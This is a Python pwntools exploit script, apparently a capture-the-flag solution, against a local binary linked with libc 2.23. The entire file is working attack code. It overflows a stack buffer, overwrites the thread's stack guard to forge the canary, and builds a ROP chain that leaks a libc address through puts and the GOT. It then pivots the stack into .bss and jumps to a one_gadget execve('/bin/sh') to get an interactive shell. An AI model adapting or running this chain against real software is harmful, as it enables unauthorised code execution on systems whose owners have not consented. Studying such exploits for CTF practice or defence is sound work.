#!/usr/bin/env python

from pwn import *

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    p.sendlineafter('How many bytes do you want to send?\n', str(0x1010 + 2008 + 8))

    # puts(atol@GOT) to leak a libc address
    payload  = p64(0x400c03) # pop rdi; ret;
    payload += p64(0x601ff0) # rdi <= atol@GOT
    payload += p64(0x4007c0) # jmp puts@PLT

    # read(0, 0x602030, SIZE) to write the final payload somewhere in .bss
    # luckily, there is a large value in rdx, so we don't need to provide it here
    payload += p64(0x400c03) # pop rdi; ret;
    payload += p64(0)        # rdi <= stdin
    payload += p64(0x400c01) # pop rsi; pop r15; ret;
    payload += p64(0x602030) # rsi <= 0x602030 (somewhere in .bss)
    payload += p64(0)        # r15 <= garbage
    payload += p64(0x4007e0) # jmp read@PLT

    # pivot rsp into somewhere in .bss
    payload += p64(0x400bfd) # pop rsp; pop r13; pop r14; pop r15; ret
    payload += p64(0x602030) # rsp <= 0x602030 (somewhere in .bss)

    p.send(
        # garbage to fill out the buffer up to canary
        'a' * (0x1010 - 8) + \
        # fake canary
        'b' * 8 + \
        # saved rbp
        'c' * 8 + \
        # return address + ROP chain
        payload + \
        # garbage
        'd' * (2000 - len(payload)) + \
        # replace thread's stack guard with our fake canary
        'b' * 8
    )

    # here the content of atol@GOT is printed
    p.recvuntil("It's time to say goodbye.\n")
    libc_base = u64(p.recv(6) + '\x00\x00') - 0x36ea0
    print 'libc base: {}'.format(hex(libc_base))

    '''
    0x4526a	execve("/bin/sh", rsp+0x30, environ)
    constraints:
        [rsp+0x30] == NULL
    '''

    one_gadget = libc_base + 0x4526a
    print 'one gadget: {}'.format(hex(one_gadget))

    # here we provide the final payload for exploitation
    # since rsp is pivoted, we provide the rest of data here
    p.sendline(
        # pop r13; pop r14; pop r15; ret
        # writing garbage to r13, r14, and r15
        p64(0) * 3 + \
        # after above ret, the shell will be executed
        p64(one_gadget) + \
        # write enough zeros in order to satify [rsp+0x30] == NULL constraint
        '\x00' * 0x40
    )

    p.interactive()

